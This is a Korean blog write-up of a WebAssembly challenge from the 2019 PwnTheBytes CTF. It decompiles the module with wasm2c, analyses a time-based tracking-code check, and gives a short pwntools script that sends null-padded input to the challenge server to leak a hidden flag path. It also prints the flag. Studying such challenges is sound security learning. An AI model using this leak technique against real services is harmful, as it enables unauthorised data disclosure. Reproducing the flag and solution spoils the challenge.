일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 2019 화이트햇
- ctf web writeup
- LD_PRELOAD
- 파일 업로드 ld_preload
- ctf php eval
- file upload vulnurability
- 컬쳐랜드 매크로
- 파일 업로드 bypass
- 정보보호병 면접 준비
- 정보보호병 면접
- 2019 사이버작전 경연대회
- 상품권 매크로
- 사이버작전 경연대회 writeup
- file upload ld_preload
- 화이트햇 writeup
- ctf php
- 2019 사이버작전
- 문화상품권 매크로
- 파일 업로드 취약점
- 정보보호병 면접 후기
- 2019 화이트햇 writeup
- file_upload bypass
- 2019 사이버작전 경연대회 writeup
- file upload ld_preload mail
- 육군 정보보호병
- webhacking
- 문화상품권 핀번호 자동등록
- CTF writeup
- 정보보호병 면접 질문
- CTF
- Today
- Total
Blog to Blog
[WebHacking] 2019 PwnTheBytes CTF WriteUp - The Ultimate Shipping System 본문
[WebHacking] 2019 PwnTheBytes CTF WriteUp - The Ultimate Shipping System
kookhh0827 2019. 10. 3. 19:45
지난 9월 28일(토)에 약 40시간 동안 PwnTheBytes CTF 2019가 진행됐습니다.
대회에서 Warmup/Learning 문제로 WASM 관련 문제로 'The Ultimate Shipping System'가 나왔습니다.
처음으로 WASM을 다뤄보고, 꽤 오랜 시간동안 고생한 끝에 문제를 풀어냈습니다.
이런 문제를 풀어나갔던 과정을 포스트로 적어보려고 합니다.
문제 설명에는 emscripten을 설치하고 갖고 놀아보라는 말과,
wasm2c의 github 페이지를 던져줬습니다.
여기서 대충 wasm파일을 c로 변환해서 뭘 해야 할 것 같다는 생각이 들었습니다.
문제 사이트는 아래와 같이 이루어져 있습니다.
간단한 설명과 함께 맨 아래에는
이름, 이메일, 패키지 타입을 선택하도록 되어있습니다.
아무거나 입력하고 GO 버튼을 눌러봤습니다.
그랬더니 택배 박스의 크기와 무게, 그리고 설명을 적는 페이지가 나왔습니다.
아무거나 입력하고 GO를 누르면 다음과 같은 에러가 나옵니다.
주소가 잘못되었다고 말합니다.
저는 주소를 적은 적이 없는데 이런 에러가 뜬다니 혼란스웠습니다.
wasm 문제기 때문에 여기서부터는 wasm 관련 해석이 필요한것이 아닌가 생각했습니다.
소스와 네트워크에는 shipping.js와 shipping.wasm이 있습니다.
wasm은 바이너리 데이터로 이루어져 있고, js는 알 수 없는 소스코드가 가득했습니다.
js의 긴 소스코드를 대충 읽어보니 뭔가 스택이나 힙 구조를 비슷하게 사용하는 함수들과, SYSCALL 같은 이름으로 작명된 것들이 보였습니다.
일단 아무런 생각 없이 브레이크를 걸어놓고 GO를 눌러봤습니다.
<div onclick="initiate_shipping()" class="btn btn-primary btn-xl" id="sendMessageButton" style="background-color:#4d148c !important;border-color:#4d148c !important;">GO</button>
참고로 GO를 누르면 initiate_shipping()이라는 함수가 불립니다.
<script>
var Module = {
onRuntimeInitialized: function() {
deliver = Module.cwrap('deliver_item', 'number', ['number','number','number','number','string']);
},
};
function initiate_shipping() {
var box_height = $('#height').val();
var box_width = $('#width').val();
var box_length = $('#length').val();
var box_weight = $('#weight').val();
var box_description = $('#package-description').val();
console.log("==== Package Info ====");
console.log("> Height= "+box_height);
console.log("> Width= "+box_width);
console.log("> Length= "+box_length);
console.log("> Weight= "+box_weight);
console.log("> Description= "+box_description);
console.log("==== ============ ====");
var status = deliver(box_height, box_width, box_length, box_weight, box_description);
}
</script>
그러면 이런 식으로 함수가 호출됩니다.
그냥 STEP을 계속 진행시켜 봤습니다.
그렇게 계속 스텝을 조금씩 지나가다 보니,
뭔가 pointer을 받아서 HEAPU8에 ptr을 위치시키고 string을 빼오는 함수가 눈에 보였습니다.
그래서 이 함수를 직접 console에서 불러봤습니다.
이런 javascript alert하는 함수를 string으로 가지고 있었습니다.
또한 STEP을 더 지나다보면 이렇게 받은 string을 eval해주는 부분도 있었습니다.
그래서 저는 이 HEAPU8부분을 더 들여다 보기로 했습니다.
function AsciiToString_self(ptr) {
var str = '';
var num = 0;
while (num < 1000) {
var ch = HEAP8[((ptr++)>>0)];
str += String.fromCharCode(ch);
num++;
}
return str;
}
그래서 ascii 코드를 그냥 string으로 바꿔주는 소스코드를 짰습니다.
ptr부터 1000바이트씩 읽어옵니다.
굉장히 흥미로운 문자열들이 나왔습니다.
먼저 눈여겨 볼 부분이
'attr('href', '0B4102C69526E0A078051596E282E648/status.php');'
라는 부분이었고, 그 밑에도 다양한 문자들이 보였습니다. 아마 WASM에서 사용하는 문자열들이라고 생각되었습니다.
먼저 위의 status를 들어가봤습니다.
제 주문을 137.117.216.128:53123에서 확인할 수 있다는 페이지가 나왔습니다.
저기로 들어가면 플래그를 주는 것일까 마음이 두근거렸습니다.
먼저 브라우저로 접속했더니 접속이 제대로 되지 않아서, 그냥 NC로 들어갈 수 있도록 호스트 하고 있는가 하는 마음에 들어가봤습니다.
위와 같이 Tracking System이라는 문구와 함께 트랙킹 코드를 적으라는 서비스가 돌아가고 있었습니다.
아무런 글자나 9바이트정도 들어오면 메시지가 나오는데, 계속 valid하지 않은 코드라고만 나왔습니다.
여기서 꽤 오랜 시간 막혔는데, 일단 wasm2c를 해도 굉장히 어렵고 복잡한 소스코드가 나와서 읽을 엄두가 나지 않았기 때문입니다.
하지만 마음을 다잡고 읽어나가기 시작했습니다.
static u32 _deliver_item(u32 p0, u32 p1, u32 p2, u32 p3, u32 p4) {
u32 l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0,
l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0,
l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0,
l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0;
FUNC_PROLOGUE;
u32 i0, i1;
i0 = g10;
l35 = i0;
i0 = g10;
i1 = 48u;
i0 += i1;
g10 = i0;
i0 = g10;
i1 = g11;
i0 = (u32)((s32)i0 >= (s32)i1);
if (i0) {
i0 = 48u;
(*Z_envZ_abortStackOverflowZ_vi)(i0);
}
i0 = p0;
l30 = i0;
i0 = p1;
l31 = i0;
i0 = p2;
l32 = i0;
i0 = p3;
l33 = i0;
i0 = p4;
l5 = i0;
i0 = l30;
l9 = i0;
i0 = l31;
l10 = i0;
i0 = l9;
i1 = l10;
i0 *= i1;
l11 = i0;
i0 = l32;
l12 = i0;
i0 = l11;
i1 = l12;
i0 *= i1;
l13 = i0;
i0 = l13;
l6 = i0;
i0 = l6;
l14 = i0;
i0 = l14;
i1 = 1000u;
i0 = (u32)((s32)i0 > (s32)i1);
l15 = i0;
i0 = l15;
if (i0) {
i0 = 14089u;
(*Z_envZ__emscripten_run_scriptZ_vi)(i0);
i0 = 0u;
l29 = i0;
} else {
i0 = l33;
l16 = i0;
i0 = l16;
i1 = 1337u;
i0 = i0 > i1;
l17 = i0;
i0 = l17;
if (i0) {
i0 = 14146u;
(*Z_envZ__emscripten_run_scriptZ_vi)(i0);
i0 = 0u;
l29 = i0;
goto B1;
}
i0 = l5;
l18 = i0;
i0 = l18;
i0 = f83(i0);
l19 = i0;
i0 = l19;
i1 = 32u;
i0 = i0 > i1;
l20 = i0;
i0 = l20;
if (i0) {
i0 = 14205u;
(*Z_envZ__emscripten_run_scriptZ_vi)(i0);
i0 = 0u;
l29 = i0;
goto B1;
}
i0 = l5;
l21 = i0;
i0 = l21;
i0 = f53(i0);
l22 = i0;
i0 = l22;
i1 = 1u;
i0 &= i1;
l23 = i0;
i0 = l23;
l7 = i0;
i0 = l7;
l24 = i0;
i0 = l24;
i1 = 1u;
i0 &= i1;
l25 = i0;
i0 = l25;
if (i0) {
i0 = f51();
l26 = i0;
i0 = l26;
l8 = i0;
i0 = l8;
l27 = i0;
i0 = l27;
f52(i0);
i0 = 1u;
l29 = i0;
goto B1;
} else {
i0 = 14205u;
(*Z_envZ__emscripten_run_scriptZ_vi)(i0);
i0 = 0u;
l29 = i0;
goto B1;
}
UNREACHABLE;
}
B1:;
i0 = l29;
l28 = i0;
i0 = l35;
g10 = i0;
i0 = l28;
goto Bfunc;
Bfunc:;
FUNC_EPILOGUE;
return i0;
}
먼저 deliver_item이라는 symbol을 가진 함수를 읽었습니다.
이게 shipping을 요청하는 곳에서 돌아가는 함수로 보였습니다.
거의 asm을 깡으로 읽는 듯한 기분이었는데, 변수를 저장하고 재활용하는 것이 상당히 비슷해보였습니다.
이걸 그냥 분석하기는 어렵고 대충 전략을 세웠습니다.
1. 인자는 p0, p1, p2... 이런식으로 표현된다
2. 계산된 어떤 값은 재활용을 위해 l0, l1, l2... 이런곳에 저장된다(스택에 박히듯이)
3. stack pointer은 아마도 g10에 저장되는것 같다
4. 실제 서비스랑 비교해서 특정 함수가 무슨 역할을 하는지 조사한다.
이런 식으로 조사하다 보면 deliver_item을 다음과 같은 pseudo code로 변환할 수 있습니다.
_deliver_item(int height, int width, int length, int weight, string description){
if( height*width*length > 1000) { return 0;} // too big
if( weight > 1337) { return 0;} // too heavy
if ( f83(description) > 32) { return 0;} // address error
if ( f53(description) & 1) {
f52(f51());
return 1;
}
return 0; //address error
}
전체 크기가 너무 크면 너무 크다고 alert이 뜨고, 너무 무거우면 무겁다고 alert이 뜨고...
결국 f53에 description을 넣었을 때 리턴값이 True여야 뭔가 제대로 결과를 돌려줍니다.
그리고 f53 함수도 둘러보니 대충 숫자가 포함되고, .이 사이에 있어야 하는 어떤 값을 넣으면 1이 리턴 되는 것으로 보였습니다.
그리고 실제로 그런 값을 input으로 줘봤더니 다음과 같은 결과가 나왔습니다.
그리고 저 Go Track Your Package라는 버튼을 눌러보면 아까 찾았던
'http://137.117.216.128:13372/0B4102C69526E0A078051596E282E648/status.php'
로 연결됩니다.
이 deliver_item이란 함수를 분석해야 사실 찾을 수 있던 것이었습니다.
저는 그전에 HEAPU8에서 string을 뽑아내서 찾긴 했지만요.
그리고 여담으로
*Z_envZ__emscripten_run_scriptZ_vi
가끔 이런 Z_envz로 시작해서 함수명 같은 이름을 가진 것들이 있는데요
이건 헤더파일에서 찾으면
/* import: 'env' '_emscripten_run_script' */
extern void (*Z_envZ__emscripten_run_scriptZ_vi)(u32);
이런 부분으로 정의되어 있습니다.
이게 정확하게 어떻게 동작하는지는 js에서 찾을 수 있는데요
주석처리된 부분을 검색해 보면
이렇게 찾아보실 수 있습니다.
예를 들면 저 함수는 HEAPU8(Pointer_stringfy가 HEAPU8에서 정보를 가져오죠)에 대한 포인터를 넘겨서 eval을 하는 기능을 합니다.
다음으로는 track_item 부분을 살펴봐야 하는데요, 소스코드가 굉장히 깁니다.
i0 = CALL_INDIRECT((*Z_envZ_table), u32 (*)(u32), 0, i1, i0); //maybe read from stdin, 9bytes
i0 = 0u;
i1 = l30;
i2 = 9u;
i0 = f159(i0, i1, i2);
i0 = l30; // l30 = g10+376 = our input
i0 = f83(i0); //f83 is strlen
l62 = i0;
i0 = l62;
i1 = 6u;
i0 = i0 > i1;
l63 = i0;
i0 = l63;
if (i0) {
i0 = 22716u;
i1 = 14395u;
i0 = f56(i0, i1);
l64 = i0;
i0 = l64;
l88 = i0;
i0 = 330u;
l99 = i0;
i0 = l88;
l65 = i0;
i0 = l99;
l67 = i0;
i0 = l65;
i1 = l67;
i2 = 511u;
i1 &= i2;
i2 = 0u;
i1 += i2;
i0 = CALL_INDIRECT((*Z_envZ_table), u32 (*)(u32), 0, i1, i0);
i0 = 0u;
l25 = i0;
i0 = l25;
l12 = i0;
i0 = l111;
g10 = i0;
i0 = l12;
goto Bfunc;
}
위 소스코드는 track_item의 중간 부분에서 중요한 부분을 가져와 본것입니다.
대충 읽어가다 보면
CALL_INDIRECT((*Z_envZ_table), u32 (*)(u32), 0, i1, i0);
이 부분이 어떤 함수를 불러준다는 것으로 알 수 있는데요, scan이나 print 등을 해줍니다.
위 소스코드를 분석하면 앞부분이 짤려서 해서 잘 이해하기 어려울 수 있는데
9바이트를 읽어들이고 strlen(f83이 strlen으로 추정되었습니다)을 검사해서
6바이트 이상이면 ptr이 14395곳을 output으로 내뱉고 리턴해버립니다.
그리고 그부분은 Invalid Tracking Code라는 에러를 내뱉는 string이 들어있습니다.
결국 9바이트 입력을 하는데 6바이트인 것으로 인식되게 해야 하니까
일단 6바이트+널바이트*3을 집어넣으면 되겠죠
하지만 여기서 끝이 아닙니다.
i0 = l30;
i0 = f181(i0);
l68 = i0;
i0 = l68;
l31 = i0;
i0 = 0u;
i0 = (*Z_envZ__timeZ_ii)(i0);
l69 = i0;
i0 = l69;
i1 = 1000000u;
i0 = I32_REM_S(i0, i1); //I32_REM_S((*Z_envZ__timeZ_ii)(0), 1000000)
i1 = 4294967295u;
i0 &= i1; // I32_REM_S((*Z_envZ__timeZ_ii)(0), 1000000) & 429496729
l70 = i0;
i0 = l70;
l32 = i0; // l32 = I32_REM_S((*Z_envZ__timeZ_ii)(0), 1000000) & 429496729
i0 = l31; // l31 = f181(our_input)
l71 = i0;
i0 = l71;
i1 = 331337u;
i0 ^= i1; // f181(our_input) ^ 331337
l72 = i0;
i0 = l72;
l34 = i0; // l34 = f181(our_input) ^ 331337
i0 = l32;
l73 = i0; // l73 = l32 = I32_REM_S((*Z_envZ__timeZ_ii)(0), 1000000) & 429496729
i0 = l34;
l74 = i0;
i0 = l73;
i1 = l74;
i0 -= i1; // (I32_REM_S((*Z_envZ__timeZ_ii)(0), 1000000) & 429496729) - (f181(our_input) ^ 331337)
l75 = i0;
i0 = l75;
i1 = 600u;
i0 = (u32)((s32)i0 > (s32)i1); // (I32_REM_S((*Z_envZ__timeZ_ii)(0), 1000000) & 429496729) - (f181(our_input) ^ 331337) > 600 then already
l76 = i0;
i0 = l76;
if (i0) {
i0 = 22716u;
i1 = 14421u; // already delivered
i0 = f56(i0, i1);
l78 = i0;
i0 = l78;
l66 = i0;
i0 = 330u;
l77 = i0;
i0 = l66;
l79 = i0;
i0 = l77;
l80 = i0;
i0 = l79;
i1 = l80;
i2 = 511u;
i1 &= i2;
i2 = 0u;
i1 += i2;
i0 = CALL_INDIRECT((*Z_envZ_table), u32 (*)(u32), 0, i1, i0);
i0 = 0u;
l25 = i0;
i0 = l25;
l12 = i0;
i0 = l111;
g10 = i0;
i0 = l12;
goto Bfunc;
}
이게 바로 저 다음 부분의 소스코드입니다.
제일 중요한 부분이 바로
i0 -= i1; // (I32_REM_S((*Z_envZ__timeZ_ii)(0), 1000000) & 429496729) - (f181(our_input) ^ 331337)
이부분 입니다.
I32_REM_S는 다음과 같습니다
간단히 말해서 (1번째 인자 % 2번째 인자)를 결과값으로 돌려줍니다.
그리고 *Z_envZ__timeZ_ii같은 경우에는
아까와 같은 방식으로 shipping.js에서 찾아보면
python의 time모듈의 time() 함수와 동일한 기능을 합니다.
이런 식의 return값을 보내줍니다.
그리고 f181은 추측으로 우리의 input을 int형으로 바꿔주는 것으로 보였습니다.
strtoint 함수로 추측되었어요(계산 방식이나 331337과 xor하는 것에서 추정)
i0 -= i1; // (I32_REM_S((*Z_envZ__timeZ_ii)(0), 1000000) & 429496729) - (f181(our_input) ^ 331337)
고로 이 계산은 ((현재시간 % 1000000) & 429496729) - (strtoint(our_input) ^ 331337)
을 해주는 것이었습니다.
그리고 이 값의 조건에 따라 분기가 갈리는데
모든 소스코드를 분석해 보니 150~450 사이여야 한다는 것을 대충 직감했습니다(일단 제일 맞추기 어려워보였습니다)
그런데 문제가 있었는데요, 이 문제를 풀 때 시간이 한국 시간으로 오전 00시 00분정도 였습니다.
해당 시간을 time.time()으로 계산하고 1000000으로 mod 연산하고 429496729랑 & 연산해서 150정도를 뺸 다음에 331337과 xor을 하면 1000000이 넘는 숫자가 나왔습니다.
6바이트만 입력해야 하는데 7글자를 입력해야 하니 입력을 할 수가 없었습니다.
그래서 이 방법이 아니라 다른 취약점이 있는지(pwn의 영역??) 매우 오랜 시간 고민을 했는데요
매우 고심하면서 이것 저것 값을 몇시간 동안 넣어보다가 중간에 갑자기 결과가 이상하길래
대회 공지사항을 들어가 봤더니
갑자기 % 100000로 바뀌었다는 공지가 떴습니다.
후... 제작자는 과연 xor을 했을 때 백만이 넘을 줄 몰랐던 걸까요
암튼 그래서 문제를 해결할 수 있었는데
150~450 사이로 맞췄을 때 들어갈 수 있는 소스코드 부분은 다음과 같습니다.
i0 = l29;
i1 = 14547u; // right now being delivered
i0 = f146(i0, i1);
i0 = l29;
i1 = 14499u;
i0 = f158(i0, i1);
i0 = l30;
i0 = f83(i0); // mabye <= 6
l106 = i0; // length of our input
i0 = l30;
i1 = l106;
i0 += i1; // our_input+length?
l107 = i0;
i0 = l107;
i1 = 46u;
i32_store8(Z_envZ_memory, (u64)(i0), i1);
i0 = l29;
i1 = l30;
i0 = f158(i0, i1);
i0 = l29;
i0 = f83(i0);
l108 = i0;
i0 = l28;
i1 = l29;
i2 = l108;
i0 = _memcpy(i0, i1, i2);
i0 = 22716u;
i1 = l28;
i0 = f56(i0, i1);
l109 = i0;
i0 = l109;
l22 = i0;
i0 = 330u;
l33 = i0;
i0 = l22;
l3 = i0;
i0 = l33;
l4 = i0;
i0 = l3;
i1 = l4;
i2 = 511u;
i1 &= i2;
i2 = 0u;
i1 += i2;
i0 = CALL_INDIRECT((*Z_envZ_table), u32 (*)(u32), 0, i1, i0);
goto B5;
중간에 our_input+length라고 주석을 달린 부분을 보면
f83을 통해 우리의 input length를 측정하고
우리의 input 주소 + input length에 i32_store8 함수를 통해서 어떤 값을 적어주는데요
이는 i1 = 46u 입니다. 그리고 46은 아스키코드로 .(점) 을 의미하죠.
그렇다는 것은
우리의 input이
[0]숫자+[1]숫자+[2]숫자+[3]숫자+[4]숫자+[5]숫자+[6]널+[7]널+[8]널
이렇게 넣고 있었으니
6번째 부분, 즉 널바이트 부분을 .(점)으로 바꿔주겠다 이말입니다. 그다음에는 정상적으로 우리가 입력했던 input을 돌려줍니다.
그러면 7번째 index와 8번째 index에 어떤 값을 넣어두면 어떻게될까요?
[0]숫자+[1]숫자+[2]숫자+[3]숫자+[4]숫자+[5]숫자+[6].+[7]a+[8]a
이렇게 되면서 print를 할 때 이 뒤에있는 부분들이 leak이 나게 되겠죠.
그래서 solution을 다음과 같이 짰습니다.
from pwn import *
import time
def make_full(string):
while(len(string)<6):
string = "0"+string
return string
num = int(time.time() % 100000) & 4294967295
print num
num = num - 150
num ^= 331337
print num
p = remote("137.117.216.128", 53123)
p.send(make_full(str(num))+chr(0)+"aa")
p.interactive()
이대로 돌려주면
다음과 같이 leak이 나게 되고 flag.txt의 주소를 알려주는 부분이 나오게 됩니다.
이 다음은 간단했습니다.
'89C738205E67001B3B93EEDB321D694/flag.txt'
이 부분이 알려진 부분인데요
9바이트를 입력해야 하다보니 맨 앞의 1바이트를 알 수가 없지만
어차피 1바이트니까 그냥 하나씩 입력해 봤습니다.
맨 앞글자는 E였네요
'http://137.117.216.128:13372/E89C738205E67001B3B93EEDB321D694/flag.txt'
이 페이지로 들어가면 flag를 얻을 수 있었습니다.
FLAG : PTBCTF{f7668066cae151acbfa2322993c03cb2}
이 문제가 저에게는 굉장히 흥미로웠습니다.
WASM이란 것을 개념만 대충 알고 접해보지 못했는데 처음으로 접해보게 되었고,
WASM이 돌아가는 구조 자체가 굉장히 흥미로웠습니다.
js로 메모리 구조를 따라하고 native code를 Module 형식으로 불러와서 실행시키는 부분들이 재미있었습니다.
그리고 사실 더 알아보니 wasm2c를 통해 c로 전환한 코드를
다시 컴파일해서 실행 파일로 만든 다음에 동적 디버깅을 하면 훨씬 쉽게 해결할 수 있다고 하더군요..
뭔가 에러가 자꾸 뜨기에 금방 포기한 방법인데 다음에 또 이런 문제가 나온다면 시도해볼법 한것 같습니다.
요즘 웹에서 가장 흥미로운 주제 중 하나가 wasm인것 같은데 앞으로 좀더 공부해 보고 싶네요.
'Hacking > Writeup' 카테고리의 다른 글
[WebHacking] TG:HACK 2020 WriteUp - Bobby (0) | 2020.04.11 |
---|---|
[WebHacking] Securinets Prequals 2K20 WriteUp - Welcome (0) | 2020.03.22 |
[Webhacking] 2019 사이버작전 경연대회(화이트햇) 라이트업 - Hidden Command (3) | 2019.08.19 |
[Webhacking] 2019 사이버작전 경연대회(화이트햇) 라이트업 - The Camp (0) | 2019.08.19 |